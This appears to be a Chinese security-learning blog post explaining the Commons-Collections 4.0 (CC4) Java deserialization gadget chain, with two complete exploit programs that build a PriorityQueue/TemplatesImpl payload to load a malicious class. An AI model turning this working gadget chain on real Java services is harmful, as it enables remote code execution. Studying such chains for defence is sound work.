首页 > 编程语言 >Java反序列化之Commons-Collection篇04-CC4链

Java反序列化之Commons-Collection篇04-CC4链

时间:2023-06-11 22:24:24浏览次数:76  
标签:Java 04 import commons PriorityQueue org apache new 序列化

<1>环境分析

因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 不再继承 Serializable,导致无法序列化。
同时 CommonsCollections 4的版本 TransformingComparator 继承了 Serializable接口,而CommonsCollections 3里是没有的。这个就提供了一个攻击的路径

jdk:jdk8u65
CC:Commons-Collections 4.0
pom.xml 添加

<dependency>  
 <groupId>org.apache.commons</groupId>  
 <artifactId>commons-collections4</artifactId>  
 <version>4.0</version>  
</dependency>

<2>链子分析

CC4实际上是 另一个分支,不同于CC1用 LazyMap.get() 调用 .transform() CC4用TransformingComparator.compare() 调用

CC4的命令执行点则是 TemplatesImpl加载恶意类 因此链子后半段可以沿用CC3 不需要更改

我们再来看一看哪里调用了 compare

这里的话,找到了 PriorityQueue 优先队列类里 调用了compare 我们看一下

CC4的链子整体为:

/*
PriorityQueue.readObject()
    PriorityQueue.heapify()  
        PriorityQueue.siftDown()
            PriorityQueue.siftDownUsingComparator()
                TransformingComparator.compare()
                    ChainedTransformer.transform()
                        InstantiateTransformer.transform()
                            TemplatesImpl.newTransformer()
                                defineClass()->newInstance()
*/

<3> 编写EXP

按着链子写下来,应该是这样

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;

import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4Test {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","1vxyz");

        byte[] code = Files.readAllBytes(Paths.get("D:\\Java-IDEA\\java_workspace\\CC\\target\\classes\\org\\example\\evil.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);

        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());


        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
        //transformingComparator.compare(1,2);
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        serialize(priorityQueue);
        unserialize("sercc4.bin");
    }
    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc4.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

但是这里并没有弹出计算器,我们调试看看哪一步卡住了

这里PriorityQueue.heapify() 里我们应该进入循环,想执行 siftDown() 但这里size为0
0>>>1 = 0
我们运行一下, 可以看道 2>>>1 = 1

那我们就知道了 长度size为2的时候,会进入 我们在队列代码里add随便加两个

    priorityQueue.add(1);
    priorityQueue.add(2);

再运行,就弹出来计算器。但是这里的话,还有一个问题

就是 add() -> offer() -> siftUp() -> siftUpUsingComparator() 就是这个add他也会执行compare,本地执行的 并不是通过反序列化弹出的shell

所以这里我们初始化时需要,先不赋值 transformingComparator,执行完add之后,反射再改回来即可
最终EXP如下:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;

import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4Test {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","1vxyz");

        byte[] code = Files.readAllBytes(Paths.get("D:\\Java-IDEA\\java_workspace\\CC\\target\\classes\\org\\example\\evil.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);

        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());


        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        //transformingComparator.compare(1,2);
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        setFieldValue(transformingComparator,"transformer",chainedTransformer);
        //serialize(priorityQueue);
        unserialize("sercc4.bin");
    }
    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc4.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

标签:Java,04,import,commons,PriorityQueue,org,apache,new,序列化
From: https://www.cnblogs.com/1vxyz/p/17473641.html

相关文章

  • java——微服务——spring cloud——Nacos——Nacos实现配置管理
        注意:只填写需要修改的,不是把配置文件全部复制进去                      ......
  • Java用命令行给main方法传参
    Java用命令行给main方法传参1.cd到当前程序的src路径下。2.编译文件,我的文件是在com.test包下。javaccom/test/Demo.java3.给main方法传值。javacom/test/Demo.java123Dowhatyouthinkisright做你认为正确的事......
  • JavaSE笔记
    Markdown学习标题:二级标题三级标题四级标题字体粗体斜体斜体加粗删除线引用学习markdown分割线图片超链接陈伟强的博客列表abcabc表格名字性别生日陈伟强男2002代码publicwindows常用快捷键ctrl+C:复制ctrl+V:粘贴ctrl+A:全......
  • Java包装类
    包装类 其实就是其实就是8种基本数据类型对应的引用类型。 为什么提供包装类?1、java为了实现一切皆对象,为8种基本类型提供了对应的引用类型2、后面的集合和泛型其实也只能支持包装类型,不支持基本数据类型自动装箱:基本类型的数据和变量可以直接赋值给包装类型的变量。自......
  • 【技术积累】Java中的泛型【一】
    泛型是什么Java中的泛型是一种能够让用户在编写代码时避免使用明确的类型而进行类型参数化的机制。Java中的泛型可以让编程者在代码编写时不必关心具体类型,只用关心类型之间的关系和相互转换,从而在编写代码的过程中实现类型的复用。这使得代码更加简洁、可读性更高,并且可以提高代......
  • 004_前端操作标题和内容
     /*一:标题1创建表单2url3views4模板5入口按钮二:内容1*/ 一:标题1创建表单 2url 3views 4模板 5入口按钮 二:内容   ......
  • 深入分析Java类的加载过程
    PhotobyrizknasfromPexels:Java是一种面向对象的编程语言,它的核心特性之一就是动态加载类。Java程序在运行时可以根据需要加载和卸载类,从而实现灵活的功能扩展和更新。那么,Java中类是如何从文件加载到内存中的Class对象呢?本文将从Java虚拟机的角度,详细介绍类的加载过程,包......
  • Java NIO原理 (Selector、Channel、Buffer、零拷贝、IO多路复用)
    系列文章目录和关于我零丶背景最近有很多想学的,像netty的使用、原理源码,但是苦于自己对于操作系统和nio了解不多,有点无从下手,遂学习之。一丶网络io的过程上图粗略描述了网络io的过程,了解其中的拷贝过程有利于我们理解非阻塞io,以及IO多路复用的必要性。数据从网卡到内核缓......
  • [转][Java]多线程写法
     多线程 闭包写法: 简化写法: ......
  • [Javascript] Rendering process
     DOM(DocumnetObjectModel)Tree:Whenawebpageisloaded,thebrowserreadstheHTMLandbuildstheDOMtree.TheDOMisatree-likestructurethatrepresentsthecontentofthewebpage.EachHTMLtagbecomesanodeinthetree,andthesenodescanh......